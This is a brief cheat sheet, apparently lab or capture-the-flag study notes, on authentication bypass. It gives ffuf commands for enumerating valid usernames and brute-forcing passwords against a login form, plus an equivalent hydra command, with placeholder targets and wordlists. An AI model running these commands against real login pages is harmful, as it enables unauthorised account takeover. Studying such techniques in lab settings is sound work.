Authentication Bypass

Username Enumeration

Filter by response received for a username that already exists:

 ffuf -X POST -d "username=FUZZ&password=x" -H "Content-Type: application/x-www-form-urlencoded" -u http://[MACHINE_IP]/loginpage.php -w /usr/share/wordlists/seclists/Usernames/Names/names.txt -mr "[message for valid username]"

Password bruteforce with valid username

ffuf:

ffuf -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://[MACHINE_IP]/login -w [valid_usernames.txt]:W1,/usr/share/wordlists/seclists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -fs [response_size]

hydra:

hydra -l [username] -P [wordlist] [MACHINE_IP/loginpage] http-post-form "/:username=^USER^&password=^PASS^:[invalid response]" -V